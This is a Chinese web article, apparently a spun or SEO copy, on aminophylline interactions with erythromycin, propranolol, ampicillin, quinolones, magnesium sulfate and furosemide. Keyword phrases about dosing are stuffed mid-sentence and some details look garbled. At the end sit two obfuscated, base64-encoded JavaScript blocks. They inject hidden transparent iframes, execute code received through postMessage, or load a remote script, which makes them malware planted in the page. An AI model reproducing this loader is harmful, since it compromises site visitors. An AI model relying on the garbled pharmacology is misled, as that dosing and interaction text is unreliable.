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氨茶碱的剂量和用法_氨茶碱治疗心动过缓的用量

2021年12月21日 东厂曹正淳 阅读(118)

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以氨茶碱为代表的茶碱类药物具有支气管扩张、抗炎、扩张肺动脉、减少肺动脉高压、增强膈肌收缩力、改善通气不足的综合作用。用于缓解心源性肺水肿引起的呼吸道疾病和哮喘的哮喘症状。

作者:蓝鲸晓虎

本文经作者授权出版医脉通。未经允许,请勿转载。

但氨茶碱的安全范围较窄(10~20成人)μG/ml),与多种药物合用时,会减慢体内清除速度,增加血液药物浓度,并可能出现恶心、呕吐、惊厥、心律失常甚至死亡等毒性反应。本文介绍了容易与氨茶碱相互作用的药物以及可能从联合用药中获益的药物。

图1氨茶碱的化学结构

联合用药中需要注意的药物

1.红霉素

红霉素可减少气道上皮细胞、中性粒细胞、嗜酸粒细胞白介素-8的产生,治疗气道化脓性病变弥漫性泛细支气管炎。红霉素能抑制茶碱的代谢清除,故能维持氨茶碱的解痉抗炎作用,具有一定的“控释”作用。但是,如果不氨茶碱的剂量和用法调整剂量,可能会导致氨茶碱中毒。

该名儿童,女,2个月大,因咳嗽和哮喘而患肺炎住院3天。体格检查:患儿有喘息和窒息,口腔周青、鼻煽、三凹征呈阳性,双肺充满喘息和少量中小水泡。给出氨茶碱支川4mg/kg。因为青霉素皮试呈阳性,所以给静滴红霉素15mg/kg·d)。滴下红霉素后,孩子变得不安,喷射性呕吐,颈项强直。

红霉素能降低氨茶碱的清除率,增加血药峰值。其机制可能是前者增加细胞色素P488的失活剂量,阻碍氨茶碱的代谢。

2.普萘洛尔

普萘洛尔通过阻断cAMP细胞色素系统,增强支气管抵抗,干扰茶碱代谢。它通常不在组合中使用。当必须使用时,应监测患者的临床症状和茶碱的血清浓度。

普萘洛尔和其他茶碱衍生物之间可能存在类似的相互作用,但与二羟丙茶碱没有相互作用。肝脏阻滞剂未代谢的心脏选择性与茶碱之间也存在一定程度的药理作用。

3.氨苄青霉素

氨苄青霉素影响茶碱的正常代谢。注意调整氨茶碱的剂量。

实验研究表明,氨苄青霉素和氨茶碱组合后,血浆浓度(C0)、清除率(KE)增加,半衰期(T1/2)、体内清除率(CL)降低,分布体积V(c)降低,平均停留时间(MRT)增加,曲线下产物(AUC)增加没有显著变化。

表1单独茶碱和伍用氨苄青霉素(μg/ml)的血清浓度

表2药动学参数单独茶碱和伍用氨苄青霉素

4.喹诺酮类

喹诺酮类该药物在不同程度上抑制肝脏对氨茶碱的代谢,从而减缓体内的清除。作为旋转酶抑制剂、喹诺酮类抑制茶碱代谢的一种氨茶碱的剂量和用法机制,它可能抑制细胞色素氧化酶P450的一个亚类。

对慢性阻塞性肺疾病合并感染的患者进行抗感染、平喘治疗。他们每天一次服用复方甲氧那明胶囊(每个胶囊含有氨茶碱25mg)2粒,tid+依诺沙星注射液0.2克。5天后,患者数次出现胸闷、恶心、气短和呕吐。立即停止依诺沙星,3天后茶碱血药浓度为19.06μG/ml,表明茶碱轻度中毒。

此外,喹诺酮类与氨茶碱合用的药物也会引起精神症状,包括紧张、失眠、焦虑、幻觉和欣快易激惹、谵妄、癫痫、躁狂等。

有益药物组合

1.硫酸镁

氨茶碱联合硫酸镁治疗小儿喘息性疾病是一种广泛使用的治疗方案。

氨茶碱的中枢兴奋作用可使儿童兴奋、易怒、失眠等,导致耗氧量增加,心肺负荷增加,不利于治疗;同时,氨茶碱的治疗剂量与中毒剂量非常接近,因此不适合使用大剂量。联合使用硫酸镁后,两药对支气管扩张症有协同作用,可增强解痉平喘作用,氨茶碱治疗心动过缓的用量,使氨茶碱的剂量可适当减少,不易发生中毒。硫酸镁能有效抑制中枢神经系统,对抗氨茶碱的中枢兴奋,防止儿童过敏,氨茶碱治疗心动过缓的用量,减少耗氧量,有利于改善呼吸急促和喘息。

2.呋塞米

呋塞米+氨茶碱可用于难治性心力衰竭。

呋塞米系髓襻利尿剂可抑制髓氨茶碱的剂量和用法质环升支厚壁对钠离子的再吸收,干扰髓质逆流增殖的浓缩功能,减少原始尿液的再吸收,增加尿量,并有助于清除体内多余的液体。氨茶碱可增加心肌收缩力,扩张血管,扩张肾小动脉输出和输入,增加肾小球滤过率和肾血流量,从而起到轻微的利尿作用。它与呋噻米联具有协同利尿作用。

参考:

1.米文杰、宋真、静脉型药物的相互作用(4)J.中国医学杂志,2010,氨茶碱治疗心动过缓的用量,45(9):79-80

2.杜霞. 1例氨茶碱合并红霉素伍中毒反应的护理体会。J.齐鲁护理杂志,2005,11(4):369

3.江剑雄. 红霉素氨茶碱联合治疗小儿哮喘的临床分析。J.儿科药学杂志,2004,10(1):38-39

4.薛雨松、高永斌、王张莹、罗红霉素联合氨茶碱治疗支气管扩张的疗效。J.临床肺科杂志,2016,21(4):722-725

5.孟丽荣. 临床不合理用药处方分析J.中国农村卫生,2012,(z2):306

6.茶碱(氨茶碱)(V)J.中国社区医师,2008,24(16):23

7.王立新,张文霞,氨苄青霉素对氨茶碱血药浓度和药代动力学的影响。河北医药,2005,27(8):621-622

8.吉盈盈. 喹诺酮类联合用药引起的精神症状分析和氨茶碱J.中国医学指南,2010,氨茶碱治疗心动过缓的用量,08(27):122-123

9杨淑霞. 氨茶碱联合硫酸镁治疗喘憋性肺炎60例《陕西医学杂志》,2011,40(6):754-755

10张宇宏,金廷毅。硫酸镁和氨茶碱伍用治疗了40例小儿喘息性疾病。J.中国煤炭工业医学杂志,2003,6(3):251-251

11.治疗周利平、王雅、朱斌等大剂量呋塞米联合氨茶碱老年难治性心力衰竭,观察利尿剂的抵抗效果J.山东医药,2013、53(27):72-73。

12.张蓉蓉、王灵聪、江荣林.大剂量呋塞米联合氨茶碱老年重病合并急性肾衰竭的影响J.全科医学临床与教育,2013(6):625-627。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}